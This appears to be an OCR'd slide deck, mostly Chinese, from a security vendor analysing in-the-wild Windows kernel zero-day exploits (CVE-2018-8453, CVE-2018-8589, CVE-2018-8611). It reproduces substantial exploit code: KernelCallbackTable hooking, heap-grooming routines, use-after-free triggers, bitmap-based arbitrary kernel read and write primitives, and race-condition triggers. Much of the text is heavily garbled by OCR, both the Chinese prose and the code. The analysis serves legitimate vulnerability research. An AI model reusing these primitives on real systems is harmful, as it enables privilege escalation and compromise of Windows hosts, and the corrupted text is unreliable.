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December12, 2018

Kaspersky Lab uncovers third Windows-zero
day exploit.in'three months

Kaspersky.Lab technologies have automatically*detected a new-exploited
vulnerability in‘the Microsoft Windows OS kernel, the third 'consecutive
zero-day exploit to be discovered in three months.
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ENBESERSPRMIFRER:

Kaspersky Lab products detected this exploit proactively through the following technologies:

1. Behavioral detection engine and Automatic Exploit Prevention for endpoints

2. Advanced Sandboxing and Anti Malware engine for Kaspersky Anti Targeted Attack Platform (KATA)
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I —SE3k:

- 20184E5H - CVE-2018-8174 (Windows VBScript3|EmEMITRERKIE)
« 20184108 - CVE-2018-8453 (Win32k4S¥UEFHRE)

« 20184118 - CVE-2018-8589 (Win32k4FPUEH R

- 2018%F 128 - CVE-2018-8611 (WindowsPZ$5tRF i)
« 20194 3H - CVE-2019-0797 (Win32k$fUgHiRwiE)

- 2019%E4H8 - CVE-2019-0859 (Win32k4FtUigHmimE)
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 Windows 10 build 17134
 Windows 10 build 16299
 Windows 10 build 15063
 Windows 10 build 14393
 Windows 10 build 10586
CVE-2018-8453 - Windows 10 build 10240
 Windows 8.1

PE——— . Windows 8

* Windows 7
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( flag 17134 == TRUE )  MREBFHA] LB X NFEEFIAFEASFH ZiFRWindows 10 build 1713489 K,
exploit_17134(); EEGERARIAY
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kd> dt win32k!tagWND

+xB024

hModule : Ptr32 Void
+0x028 hModle : Uint2B
“+@x02a - ftnid- - :-Uint2B
+0xB82c spwndNext : Ptr32 taghhD
+0xB830 spwndPrev : Ptr32 taghiND
+0x034 spwndParent : Ptr32 taghiND
+8x838 spwndChild : Ptr32 tagWND
+0xB83c spwndOwner : Ptr32 taghhD
+0xB840 rcWindow : tagRECT
+0x050 rcClient : tagRECT
+8x0860 lpfnWndProc : Ptr32 long
+8xB864 pcls : Ptr32 tagCL5S
+8xB868 hrgnUpdate : Ptr32 HRGN
+@x86c pproplList : Ptr32 tagPROPLIST
+@xB870 pSBInfo : Ptr32 tagSBINFO
+xB874 spmenubys : Ptr32 tagMENU
+dxB 78 spmenu : Ptr32 tagMENU

win32k!tagWND (Windows 7 x86)

Microsoft A\ &I 55 F Ml R T win32k!tagWND,
{BZEWindows 10 (17134) FFNIDEZAL7EHE
BRI E

FNID (In8eEID) EX T—EEO
(BRI LAZScrollBar, X®, £E3F)

SMFTHENTEBORER
FNID_FREED = 0x8000

iRIAALFsyscall NtUserSetWindowFNID
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signed _ inté4 _ fastcall HtUser3etWindowFHID{_ _intéh4 a1, _ int1é6 a2)
{
__int16 Fnid; 77 si
__intéhy w3; // rbx
__intéh vk // rax
signed __intéd v5s; // rbx
__intéh va; // rdi
signed _ intéh v8; // rcx

FENtUserSetWindowFNIDH, H%:i§AtagWND->

FRid - a2: fnid, WREZEF0x8000 (FNID_FREED) , MAF£
v3 = al; Wi s

EnterCrit{8iod, 1i64);

Ul ValidateHwnd{v3};

Ut BiGk;

uh ul;

if { vh )

1
if ( ={={ul + Bx18) + B21A0i64) == PsGetCurrentProcessWin32Process{) )}
{

if ( Fnid == 6z48680 || (Fnid - 8:2A1) <= %u && *({=({=x(v6 + Ox2B8) + B=2Ai64) & B=3FFF) )
{

Ut = 1i64;

*(<(v6 - 0x28) + oxenicn) |- ;] A S B IE A R A0 O AIFNID
goto LABEL_7;

H
vl = B7i64;
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signed __int64 _ fastcall HtUserSetWindowFHID{ inték4 al, _ inti1d a2)

1
/f [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-""+" TO E&PAND]
w2 = a?;
u3 = al;

EnterCrit{Bioh, 1i64);

ul = UalidateHwnd(v3);
ut = Bibh;

uh = uh;

if [ vh )

1

if | *®*( QUWORD =*)(={_(WORD =*){uvl + 16} + 376164) == PsGetCurrentProcessWin3?Processi{) )
1
if { v2? == Bx4088
|| (unsigned __int1é6){v2 - 673) <= %9u

Gk $Cx(_WORD *)(ub + §2) & BXIFFF) Microsofti&iZ if§ i IswindowBeingDestroyed()
& ?*{unsigned int)IsWindowBeingDestroyed(ub6}) } « EHUEAN T R

*{ WORD =){ub6 + 82) |= vZ;
ut = 1ib6k4;
goto LABEL_11;

u? = B7164;
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o A EEZR B AR PSENE LR BRI T

§4F (a1 [ fn DWORD ] [ fnANCDESTROY ] [ fnINLPCREATESTRUCT

WEHT:

« MPEB3%HBIKernelCallbackTableg4ith it
- BAIHNBECHIBFZFE O EIEET

DWORD oldProtect;

VirtualProtect((LPVOID)(GetKernelCallbackTable() + ©x18), &, PAGE_EXECUTE_READWRITE, &oldProtect);
VirtualProtect((LPVOID)(GetKernelCallbackTable() + ©x18), &, PAGE_EXECUTE_READWRITE, &oldProtect);
VirtualProtect((LPVOID)(GetKernelCallbackTable() + ©x58), &, PAGE_EXECUTE_READWRITE, &oldProtect);

FRnDWORD = (_ fnDWORD)*(LONG PTR*)(GetKernelCallbackTable() + 8x18);
FNNCDESTROY = (_fnNCDESTROY)*(LONG _PTR*)(GetKernelCallbackTable() + ©x18);
FnINLPCREATESTRUCT = (_fnINLPCREATESTRUCT)*(LONG PTR*)(GetKernelCallbackTable() + 0x50);

*(LONG_PTR*)(GetKernelCallbackTable() + 0x18) (LONG_PTR)FnDWORD _hook;

*(LONG_PTR*)(GetKernelCallbackTable() + ©x18) = (LONG_PTR)FnNCDESTROY hook; « Patch Table
*(LONG_PTR*)(GetKernelCallbackTable() + 8x58) = (LONG_PTR)FnINLPCREATESTRUCT hook;
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JmE A A< 8lEE O FHEHShowwindow() » [ fnINLPCREATESTRUCT | [BlifF45#% fill &

LRESULT FnINLPCREATESTRUCT hook(LPVOID msg)

1
(GetCurrentThreadId() == Tid)

{
(FnINLPCREATESTRUCT flag)

1
CHAR className[@xC&];

GetClassNameA{ (HWND)*(LONG_PTR*)(*(LONG_PTR*)((LONG PTR)msg + ©x28)), className, (className));

if (Ystrcmp(className, "SysShadow"))
1

FRINLPCREATESTRUCT_flag = FALSE;

SetWindowPos{MyClass, NULL, ©x108, 6xl1e8, exl1ee, 0x10e,
SWP_HIDEWINDOW | SWP_NOACTIVATE | SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE);

SetWindowPos()¥%5&#lI Showwindow() & B AddShadow() F Bl 2 52 F

¥ eI R R FIH T Er
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JmEF A< E R FH I THeap Groom
B RMEZ TR REES BRI HNE
. EHITEHEWM LBUTTONDOWNX #EEREhE&E O

o SHERZFPHITWINS2K! xxxSBTracklnit()

HWND hwd = CreateWindowEx{NULL, TEXT("ScrollBar"), TEXT("ScrollBar"),
WS_VISIBLE | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_GROUP | WS_TABSTOP, CW_USEDEFAULT, CW_USEDEFAULT,
0x80, 0x88, NULL, NULL, Handle, NULL);

SetParent(hwd, MyClass);

Fengshui(); « HEZERNELR

FnDWORD flag = TRUE;

SsendMessage(hwd, WM_LBUTTONDOWN, MULL, NULL); « 4%;¢I,h\7i1?§§lJ,§£7J%§Dl&(i&ﬁ)%‘.iﬁ
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FHEESEN L ETENX A ZTA?
BE, AXIREAEEFEERAKRERT

E Functions window O & x
Function name Segment

: F | fengshui_simple | text

£ | fengshui_14333
|E| fengshui_ 15063
|7 fengshui_15299
7] fenashui_17134

xt
dext
ext
xt

AEREFBEFERM (! ) FREAIHeap GroomZERg
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VOID fengshui_17134() fengshui_17134: Blind heap groom
{
BYTE buf[@x1000]; fengshui_16299:
memset (buf, Ox41, (buf)); - EAROX4002% (IpszMenuName = 0x4141€))
- RO
(int i = @; i < Ox200; i++) « fE£M Tarjei Mandtfaid By #7 ANt itk

{ CreateBitmap(0x1A, 1, 1, 0x20, buf);} NtCurrentTeb()->Win32ClientInfo.ulClientDelta

(int 1 = 8; 1 < Ox200; i++)
{ CreateBitmap(©x27E, 1, 1, ©x20, buf);}

(int 1 = 8; 1 < Ox200; i++) - - ‘

{ CreateBitmap(©x156, 1, 1, ©x20, buf);} fengShu|_150635fen98hUI—16299*E‘u
(int i = @; i < 0x100; i++) fengshui_14393:
{ CreateBitmap(®x1A, 1, 1, ©x28, buf);} |  €IJE0x200:E
- BIEMRRR

(int 1 = 8; 1 < 8x20; i++) . LS
{ CreateBitmap(0x156, 1, 1, 6x20, buf);}| - gi%i%a%::e%nfo/ﬂﬁﬂtﬂ

Windows 10 Mitigation Improvements

(int i = 8; i < 0x20; i++) « BIEO0x2004LF
{ CreateBitmap(@x176, 1, 1, ©x20, buf);}
b fengshui_simple: CreateBitmap & GdiSharedHandleTable
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LULCE7 R CIRE

xxxSBTracklnit() &£ &#1T xxxSendMessage(, 0x114,...)

0x114 2 WM_HSCROLL B2

{

N

FHSEE#R 9 [EE

int xxxSendMessageToClient(struct tagWND *hWnd, unsigned int Msg, ...)

gapfnScSendMessage[MessageTable[Msg]](hWnd, Msg, ...);

gapfniciendiessage dq offset 5+FnDWORD

dq offset
dq offset
dq offset
dq offset
dq offset

= DATA XREF: =zxxDefWindowProc+FCir
= ZxxDefWindowProc+i15Cir ...

SFnHCDESTROY

SFNIHNLPCREATESTRUCT

SFNIHNSTRIHGHULL .
SFnOUTSTRINEG WM_HSCROLL » fnDWORD IEI-LJE
SFNIHSTRIHNG
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FEREFAIERFF, FEINDWORDHR FPAEIEHESHAFHIRSHL

o IRAENMELER, FHFNDWORD BASEAZEHEH
o FAEMMDWORDFH BimIEFIFH BRI M EX

MEE1l - EFWM_HSCROLLBEE AR $HEIMDWORDA F#ER BN E O

(FnDWORD _flag)

1
FnDWORD flag = FALSE;
FNNCDESTROY flag = TRUE;
DestroyWindow(MyClass); —| « EESFEINITINNCDESTROY B
FnDWORD flag2 = TRUE;
¥

\

— MREBHER T (MR THREVIRHHEREED
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ZAfNnNCDESTROYH P& [EIEHAE], & FEMAY S FRFH L R

[ RESULT FnNCDESTROY hook(LPVOID* msg)
1
(GetCurrentThreadId() == Tid)
(FnNCDESTROY flag)

CHAR className[@8xCE8];
GetClassNameA{ (HWND)*{LONG_PTR*)*msg,

(Ystrcmp(className, "SysShadow"))

FANCDESTROY flag = FALSE;

Call stack:

[win32kfull ! SfnNCDESTROY |
win32kfull!xxxDefWindowProc+0x123
win32kfull!xxxSendTransformableMessageTimeout+8x3fc
win32kfull!'xxxSendMessage+Bx2c
win32kfull!xxxFreeWindow+8x197
win32kfull!xxxDestroyWindow+8x35d
[win32kfull ! xxxRemoveShadow+0x79 |
win32kfull!xxxFreeWindow+8x342
win32kfull!xxxDestroyWindow+8x35d
win32kftull!NtUserDestroyWindow+8x2e

NtUserSetWindowFNID();

« % & OAFNIDA B ZFNID_FREED!

M5G msg;

(PeekMessage(&msg, NULL, NULL, NULL, TRUE)){};
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FE2MEE (FEfnDWORD$IFA)

BTS2 TFNIDIER, WM_CANCELMODERFSH B MUSERTAG_SCROLLTRACK!

XERERFSENER
(FnDWORD_flag2)
FNDWORD flag2 = FALSE;

BYTE bufl[@x5F8];

memset (bufl, ©x41, (buf1));

memset(bufl + &, @8, 0x18);

HWND wnd = CreateWindowEx(NULL, TEXT("ScrollBar"), TEXT("ScrollBar"),
WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_GROUP | WS_TABSTOP,
CW_USEDEFAULT, CW_USEDEFAULT, ©x80, ©x80, NULL, NULL, Handle, NULL);:

SetCapture(wnd);

(int 1 = ©; 1 < Ox1EQ; i++)

1
¥

SendMessage(wnd, WM _CANCELMODE, NULL, NULL); «

DeleteObject(Bitmaps_©x1A 6x200[1i]);

Call stack:

win32kfull!STnDWORD

win32kfull 'xxxFreeWindow+Oxdaf

win32kftull 'xxxDestroyWindow+8x35d
win32kbase ! xxxDestroyWindowIfSupported+@xle
win32kbase!HMDestroyUnlockedObject+8x69
win32kbase!HMUnlockObjectInternal +8x4f
win32kbase!HMAssignmentUnlock+8x2d
win32kfull!xxxSBTrackInit+0x4b5

win32kfull 'xxxSBWndProc+8@xaad
win32kfull!xxxSendTranstormableMessageTimeout+8x3tc
win32kfull!'xxxWrapSendMessage+B8x24
win32kfull'NtUserfnDWORD+8x2c
win32kfull!NtUserMessageCall+0xf5s
nt!KisSystemServiceCopyEnd+8x13




CVE-2018-8453

{FFHWM_CANCELMODERHMUSERTAG_SCROLLTRACKHRA] LA E#FF B FINIFR KA 7=

(int 1 = 8; 1 < Ox208; i++)

1
DeleteObject(Bitmaps ©x156 0x200[1]);
¥
(int 1 = 8; 1 < 9x20; i++)
1
DeleteObject(Bitmaps ©x156 8x20[1]);
¥
5%+ 3k AT T : . X
(int i = 8; i < 0x208; i++) B 57 B 2lFengshui()F RYBitmats, H 7 ECES
1
Bitmaps ©x176 0x200[1] = CreateBitmap(&x176, 1, 1, 8x28, bufl);
¥

DestroyWindow(wnd);
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5&%5‘7 %.x 7‘5& _ xxxSBTrackInit ) ¥iE i B USERTAG SCROLLTRACKSERRHIT, BREHY
= TF+/IX. R BEBEMGDITAG_POOL_BITMAP_BITS
.text:88000001CA208BB3 loc_1CH2H8BBS - ; CODE XREF: xxxEnd5croll+2931j
and quord ptr [rbx+ ]
lea rcx, [rbx+ ] : _QUORD
call cs:__imp_HHAssignmentUnlock
lea rcx, [rbx+ ] : _QWORD
call cs:__imp_HHAssignmentUnlock
lea rcx, [rbhx+d] : _OQWORD
call cs:__imp_HHAssignmentUnlock
mouv Fcx, rbx : _OQWORD
call ES:_imPTWiHEEFFEEPDD]. ﬂ::%}‘iﬁ USERTAG SCROLLTRACK
mov rax, [rdi+ | —
and quord ptr [rax+ ]
.text:00000001CHZ208ED2 1oc_1CH208ED2 : ; CODE XREF: xxx5BTrackInit+2251j
call cs:__imp_HHAssignmentUnlock
mou rcx, rbx : _OQUWORD
call cs:__imp_Win32FreePool
mou  rax, [rdi+i0n] 21 GDITAG_POOL_BITMAP_BITS
and quord ptr [rax+ ]
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BV ERRIE N : GDIMRIES (FEWindows 10 RS4H1sLji)

Francisco Falcon BY#E 3 3CE AT LA T T #itlti75(a):
https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html

RV RIEIE R 4R T % WAV (£ A Bitmaps BVl I A -
« BTREFANFSURFACENRINAEN W N ECRGRBIRE P

{£ FBitmapXf R WA #ZiRmEF H E 2T £ K B4
BRREAIUEEHESSTTE R
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B FIARREFCIE T 6410 %F2
(int 1 = 8; 1 < Bx40; i++)

handles[i] = CreateThread(NULL, ®, Trigger, (LPVOID)i, NULL, NULL);

EEERWIN32kINEE G BN & IZE L AGUIZIZ

XAFEF THREADINFO# 43 Bic 2 — MK B bitmapry i &

GetBitmapBits / SetBitmapBits F§ & 3 THREADINFO%(#&

%X TFTHREADINFORYIEE, {BLZERH#A[EIEwWin32k! w32thread k15
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ST THREADINFORIIEHINE 42 iF SetMessageExtralnfo/s T E gy {FE A

S

tMessageExtralnfo function

e

J2018 « 2 minutes to i

Sets the extra message information for the current thread. Extra message information is an application- or driver-defined value
lated with the current thread's message queue. An application can use the GetMessageExiralnfo function to retrieve a thread's

extra message information.

o=

Peek and poke *(u64*)((*(u64*) THREADINFO+0x1A8)+0x198)

_SetMessageExtralnfo proc near

mow rax, cs:__imp_gptiCurrent

mov rdx, [rax]

mou r8, [rdx+ |

mov  rax, [r8-198h] Ox1A8 - Message queue 0x198 - Extra Info
mov [rE+ ], rcx

retn

_SetMessageExtralnfo endp
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LONG_PTR ArbitraryRead(LONG PTR address)

{

¥

GetBitmapBits(pwned bitmap, (Bitmap), Bitmap);
*(LONG_PTR*)(Bitmap + 0x1A8) = address - 8x198;
SetBitmapBits({pwned bitmap, (Bitmap), Bitmap);

LPARAM value = SetMessageExtraInfo(NULL);
SetMessageExtralnfo(value);

*(LONG_PTR*)(Bitmap + 0x1A8) = message queue_ backup;
SetBitmapBits(pwned bitmap, (Bitmap), Bitmap);

param;

VOID ArbitraryWrite(LONG PTR address, LONG _PTR value)

{

GetBitmapBits({pwned bitmap, (Bitmap), Bitmap);
*(LONG_PTR*)(Bitmap + 0x1A8) = address - 8x198;
SetBitmapBits(pwned bitmap, (Bitmap), Bitmap);

SetMessageExtralnfo(value);

*(LONG_PTR*)(Bitmap + 0x1A8) = message_queue_backup;
SetBitmapBits(pwned_bitmap, (Bitmap), Bitmap);

RESMUEEHE 2 E T

i%HBlquadword, 1BFRAFEEZES
k&8 IR In1E

k2 H2AFIFEST

R EE MU REH 2T HEE
7E#E A% B quadword
& iH 2 FIFEE
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CVE-2018-8589
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CVE-2018-85892wWin32kA— 1M E XM E=F£H, XRHTZECERES LA X HESEANHSIFEAY

%2 T FMoveWindow()FAIWM_NCCALCSIZE;E 28y F AR
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2%z 1 %1z 2

WNDCLASSEX wndClass;
wndClass.lpfnWndProc :IME55agEPrnc;|
wndClass.lpszClassName = TEXI( Classl1l");

WNDCLASSEX wndClass;
wndClass.lpfnWndProc :IMessagEPFnc;I
wndClass.lpszClassName = TEXT( Class2");

RegisterClassEx(8wndClass);

RegisterClassEx(8&wndClass);

Windowl = CreateliindowEx(8, "Class1", "Windowl", ...); Window? = CreateWindowEx(8, "Class2", "Window2", ...);

SetEvent(lpParam); Flagl = TRUE;

Flag? = TRUE;

MoveWindow(Windowl, @, @, 0x480, 0x488, TRUE);

while (!Flag3)
{
taghSG msg; . AN &EHEAHENEOIRE
memset(&msg, @, sizeot(tagMSG));
if (PeekMessage(&msg, NULL, @, @, 1) > 0)
{
TranslateMessage(&msg); %:Ag£$EEEE ij]%ua
DispatchMessage(&msg);
¥
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i7 (uMsg == WM_NCCALCSIZE)

{

Count += 1;

if (Count2 == @ || Count != Count2)

{

MovelWindow(hwnd, ©, ©, ©x400, 0x4080, TRUE);

return NULL;

memset ((void*)1Param| 8xc®, ©x34);

" Axig
SetThreadPriority(handlel, THREAD PRIORITY HIGHEST); ZEXAE

SetThreadPriority(handle2, THREAD PRIORITY BELOW NORMAL);

TerminateThread(handle2, @);
SwitchToThread();
return NULL;

-

B OizEF

WM_NCCALCSIZER O;HE2 B A+ YT

@ | BIHEREENE DM

MR %

HEAZR IR R AL R ARG AR AR FZF 504
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R 4% A i B B & R Y I ParamZE F iy 57 20 B

SFiRmEFIA, LAtgEshellcodefyiE$RIERERMXFLER T SININOUTNCCALCSIZERIR Bl 5458 &
FH 4 ENFEIT

9e3038858 918i64ce win3ZKISININOUTNCCALCSIZE+0x263 <- (2) corrupt stack
9e30390c 9193c677 win3ZkhooReceiveMessage+0x4a0

9e303960 9193cach win3dZkhoxRealSleep Thread+0x90

9e30397c 918echac win32kboxSleepThread+0x2d

9e303910 9192c3af win32kboodnterSendMsgEx+0xb1c

9e303a40 9192c4f2 win32kboxSendMessage Timeout+0x13b

9e303a66 918tbect win32khoxSendMessage+0x28

9e303b2c 91910c1a win3ZkboxCalcValidRects+0x462 <- (1) send WM_NCCALCSIZE
9e303b90 91911056 win32kboxEndDeferWindowPosEx+0x126

9e303bb0 918b1189 win32kboxSetWindowPos+0xf6

9e303bdc 918b1ee1 win32khoodMoveWindow+0x8a
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%I FHDKOMIZ#ll & ZErootkit



SR - RERHRIR

mAFAEFsteEemetdi@EFE, MREAEFE, MEMAtrampolinesiiTER B IhEE

« ERGERXAETRRRERN
« ER/NTEAEERERAPITRR

/* build fake stack */

push
mov
push

push
mov
push

push
mov

ebp
ebp, esp
offset gadget_ret

ebp
ebp, esp
offset gadget_ret

ebp
ebp, esp

[* push args*/
[* push return address*/
push offset trampilne_prolog

[* jump to function */
jmp eax
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CINYEDN Y2 Ek )
ATAENFA, FREINER
B, PUTZ N IRIERNEHIFFHBSOD

&£ A CreateMutex() ER # Al sE = 5 | FD I &%
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HANDLE heap = GetProcessHeap();

( heap )
1
HeaplLock(heap);
( HeapWalk(heap, &Entry) )
1
( Entry.wFlags & PROCESS HEAP_ENTRY BUSY
&8 Entry.cbData == size « = BN S
&8 memcmp(Entry.lpData, data, size)) AFERNFEERE R EEET
1
_'1;
¥
¥
HeapUnlock(heap);

void* buf = HeapAlloc(heap, HEAP_ZERO_MEMORY, size); « 8] EMutex
memcpy (buf, data, size);




HER - TR

X MERFAIAF B SN RAFAER E@ARNZIEFIREYO
i A A2 FHITWindows R (E R G A E LE AR A B S 5 tkimimiEFr
XMERATZAAEREMALGZE, ERRISERN

TR F R ER A T AT 1T A 4%shellcodeRY$E M

( 'found )
: get exploit(&exploit)
( execute exploit(exploit, ...) )
{ found = 1;
¥
(+rcount >= 10 ) U HARERFIMEBALE RINEENES T AT EIRR

3
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=13

tm.sysIREIFZF HRYTE S 55 14

SIFEChromefEdge Y DR IR, FERRS R DIEZE #HR
ARA &R Fntoskrnl.exe R .

REBEA T ZXFHFTN—1OSHRZ .

 Windows 10 build 15063
 Windows 10 build 14393
 Windows 10 build 10586
 Windows 10 build 10240
« Windows 8.1

« Windows 8

« Windows 7

CVE-2018-8611
HRREF BEE T LU TOShR A

E— . Windows 10 build 17133

 Windows 10 build 16299
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tm.sysIREiEF LA ZEFZEIERE (KTM)

TR TLEER:
« BEMUEAZESZHUT
« WMRELIMERR, MELRELBIXH RS SEMR

NREBEERITFINBIBEEFERERSE, EXLATHTIMEEK
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KTM Obijects

| 1 1 |

Transaction objects Resource manager objects

Transaction manager objects Enlistment objects

Transaction : £5% - BIBRIENES
Enlistment : &ig - REEIESFMESZ 2 BAY K<L
Resource manager : HiFEIERS - B2 A HE FOIEREEFIAIEIRZIRAVA

Transaction manager : BEEIESR - CAEEZEimMEREESRNIBE
ELRESNESHRE CEEHIE)


https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/resource-manager-objects
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/transaction-objects
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/enlistment-objects
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/transaction-manager-objects

CVE-2018-8611

AT mARRF| B R,

A HEFERUE— IR EEFTAERITIEE

REESE—EIRIXTR transaction manager objects, resource manager objects, transaction objects

Transaction 1
NtCreateTransactionManager(&TmHandle);
NtCreateResourceManager(&RmHandle, TmHandle, &guid, &uni);
NtRecoverResourceManager(RmHandle);
NtCreateTransaction(&TransactionHandle);

NtSetInformationTransaction{TransactionHandle, &TmHandle);

Transaction 2

NtCreateTransactionManager{(&TmHandle2);
NtCreateResourceManager(&RmHandle2, TmHandle2, &guid, NULL};
NtCreateTransaction(&TransactionHandle2);

NtSetInformationTransaction(TransactionHandle2, &TmHandle2);


https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/transaction-manager-objects
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/resource-manager-objects
https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/transaction-objects
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Transaction 2

for (int 1 = 8; 1 < 1000; i++)
{

¥

NtCreateEnlistment(&EnlistmentHandle, RmHandle2, TransactionHandle2);

Transaction 1

NtCreateEnlistment(&EnlistmentHandle, RmHandle, TransactionHandle);
NtCommitTransaction(TransactionHandle);



CVE-2018-8611
mEAAEFSEEZ I EE, FRENAEERICPURLD

Thread 1 ZEfE¥ 5 A NtQueryInformationResourceManager

ULONG length = @;
(NtGetNotificationResourceManager(RmHandle, TransactionNotification, &length))
13
Flagl = TRUE;
(!Flag2)

(NtQueryInformationResourceManager{RmHandle))

3

Thread 2 ZiX# 17— X NtRecoverResourceManager

NtRecoverResourceManager(RmHandle);

Flag2 = TRUE;
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mEFI AL EAEE=NEIERN
1ZZ 2 1TNtQuerylInformationThread LA Fi RecoverResourceManagerg % Bl e — N &2 2 %A H
i Ih#1TNtRecoverResourceManagerEmRE B A £ T F 51

LML, FESERIEIZER 6B EE LHITWriteFilelF S A FHRIR
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CVE-2018-8611 2t/ # TmRecoverResourceManagerExt BITE F &4

KeWaitForSingleObject(&Event[1].Header .WaitListHead.Blink, 8, 8, 8, Bié4);
if ( vi[1].Header.SignalState == 1 )
ui[1].Header .SignalState = 2;

vy = *( QUWORD *)&u1[15].Header .Type; LE _ A = R
[iF ( tuh || *( DWORD x)(uk + Bx48) *= 3| « EINEE B EhETH ResourceManager 2 & £ 4
3

ui6 = BxCO190052;
goto LABEL_36;

b
if ( vi1 )
1
KeReleaseMutex{ (PRKMUTEX)&v1[1] .Header .WaitListHead .Blink, 0);
vi6 = TmpSetHotificationResourceManager(uvi1, vi5 nt64)&u8[-9].Blink, 8i64, v9, 32, (size_t)v21);
yif = vi9;
[[if ( =( BYTE =)(u10 + 6xAC) & & ) | « KEZICREETMK
v17 = 1;
ul9 = vi7;

ObfDereferenceDbject(&v8[-9].Blink);
KeWaitForSingleObject(&v1[1].Header .WaitListHead.Blink, 0, 0, 0, 0i64);
if ( v1[1].Header.SignalState = 2 )

goto LABEL 36;

u2 = pi1?2;

; BZ, AAIEFRBEEREICCHI, AlES %% ResourceManagergdafif
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KeReleaseMutex((PRKMUTEX)(v? + 64), 8);
if ( v18 )
{
KeReleaseMutex((PRKMUTEX)(v1 + 48), 0);
vi5 = TmpSetNotificationResourceManager(
(PRKEUVENT u1,
vig,
(__inté4)(v7 - 17),
0i6h,
us,
32,
(unsigned __int64)v19);
ObfDereferencelbject(v? - 17);

KeWaitForSingleObject((PUOID)(v1 + 40), 08, 0, 0, B8i64);

if ( *{_DWORD *)(u1 + 28) = 2 )
343

vi6 = *(_QHGED *)(v1 + Bx168);
if ( tvi6 || *(_DWORD x*)(v16 + Bxu48) t= 3 )
goto LABEL_33;

~U7 = %(_UWORD *%)(UT + 272);
b

-

s

MicrosoftiiZ LA N iEE 7 i :
- KREBICRSEEEMRR
« tZEResourceManagerz & AT EAHIR S B #7RmM
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BAEH T EIEXN R, BAwmEAFAE?
XEHRBARXZHRAEERRR

Uil = (signed __int&4)&u6[-9].Blink;
if { HIDWORD{u6[2].Flink) & 4 )

goto LABEL_18;
ObfReferencedbject(&v6[-9].Blink);
KeWaitForSingleObject((PUDID)(UHE + 64), 0, 8, 0, 0i6h);
vil = @;
u12 = =( DWORD =) (Ui8 + 172);

if { (v12 & Bx80u) *= 8 ) (

L « NRB ST, HIGEBANDIIEIE.
*(_DWORD *) (il + 172) = v12 & OxFFFFFF7F; A FRMEFIA .

b

_mn_storeu_si128((__m128i =)Size, =(_ m128i =)(Ui8 + 48));
_nn_storeu_si128(({__m128i =)&u19, =(_ m128i =)(=(_QWORD =) (Uil + 160) + 176i64));
KeReleaseHutex { (PRKMUTEX) (U8 + 64), 0);
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BAEH T EIEXNR, BAwmfEAFAE?
XEHRBRNZHAEERRR

Uil = (signed __int&4)&u6[-9].Blink;
if { HIDWORD{u6[2].Flink) & 4 )
goto LABEL_18;
ObfReferencelbject{du6[-9].Blink):
KeWaitForSingleObject((PUDID)(UHE + 64), 0, 8, 0, 0i6h);
i1 = 0;
u12 = =(_DWORD =)(Ui8 + 172);
if ( (u12 & Bx8Bu) *= B )
{

*=(_DWORD =){U48 + 172) = v12 & BxFFFFFF7F;

s
_mn_storeu_si128((__m128i =)Size, =(_ m128i =)(Ui8 + 48));

HANRT AR 1B 2 893F5% (PVOID) (v10 + 64)

mm storeu si128 miZ28i *)&uil9, = miZ28i =)= WORD *}{- + 168) + 176i64));
KeReleaseHutex { (PREMUTEX) (U8 + 64), 0);
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KeWaitForSingleObject function

04/30/2078 » 5 minutes to read

The KeWaitForSingleObject routine puts the current thread into a wait state until the given dispatcher object is set to a signaled

state or (optionally) until the wait times out.

Syntax

.:__

NTSTATUS KeWaitForSingleObject
PVOID Object,
KWATIT _REASON WaitReason,
__drv_strictType(KPROCESSOR_MODE / enum _MODE, drv_typeConst)KPROCESSOR_MODE WaitMode,
BOOLEAN Alertable,
PLARGE INTEGER Timeout
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Parameters @

Object

Pointer to an initialized dispatcher object (event, mutex, semaphore, thread, or timer) for which the caller supplies the storage.

Dispatcher objects: 3 dt nt! KTHREAD
+0x000 Header . _DISPATCHER_HEADER
nt! KEVENT
nt! KMUTANT
nt! KSEMAPHORE l
nt! KTHREAD
nt! KTIMER dt nt! DISPATCHER_HEADER
L +0x000 Lock : Int4B
+0x000 LockNV . Int4B
+0x000 Type . UChar

+0x001 Signalling . UChar
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dt nt! KOBJECTS
EventNotificationObject = On0
EventSynchronizationObject = On1l
MutantObject = On2
ProcessObject = On3
QueueObject = 0n4
SemaphoreObject = 0On5
ThreadObject = 0n6
GateObject = On7
TimerNotificationObject = On8
TimerSynchronizationObject = 0n9
Spare20bject = 0n10
Spare30bject = 0n1l
Spare40Object = 0n12
Spare50bject = 0n13

Spare60bject = 0n14
Spare70bject = 0n15
Spare80bject = 0nl16
ProfileCallbackObject = On17
ApcObject = 0n18

DpcObject = 0n19
DeviceQueueObject = 0n20
PriQueueObject = On21
InterruptObject = On22
ProfileObject = 0n23
Timer2NotificationObject = 0n24
Timer2SynchronizationObject = On25
ThreadedDpcObject = On26
MaximumKernelObject = On27



CVE-2018-8611

12t {hiEAY EventNotificationObject

loc_148851483:

mov rcx, [rdi+16h]

lea rax, [rdi+3]

mov [r12]. rax

mou [F12+5], rCx

cmp [recx], rax

jnz loc_14815425A

mou [recx], r12

mou [rax+5], r12 :
lock and dword ptr [rdi],
mov r9?, [rsp+ +yar_
mou réd, edx

mou rdx, ri12

mov byte ptr [rbx+

mou rcx, rbx

call KiCommitThreadWait
cmp eax,

CODE XREF: KeWaitForSingleDbject+18D1j

leak pointer to _KWAIT_BLOCK

98]

1-
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AT THFARRSE, AT RPSESRAEEFTR

ET_KWAIT_BLOCKHJHEE, FATATLATTE_KTHREADHRY 1L

0: kd> dt nt! KTHREAD
+0x000 Header . DISPATCHER_HEADER
+0x018 SListFaultAddress : Ptr64 Void
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr64 Void
+0x030 StackLimit : Ptr64 Void

+0x038 StackBase . Ptr64 Void _KTHREAD = KWAIT_BLOCK - 0x140
+0x040 ThreadLock . Uint8B

+0x140 WaitBlock . [4] _KWAIT_BLOCK
+0x140 WaitBlockFill4 : [20] UChar
+0x154 ContextSwitches : Uint4B
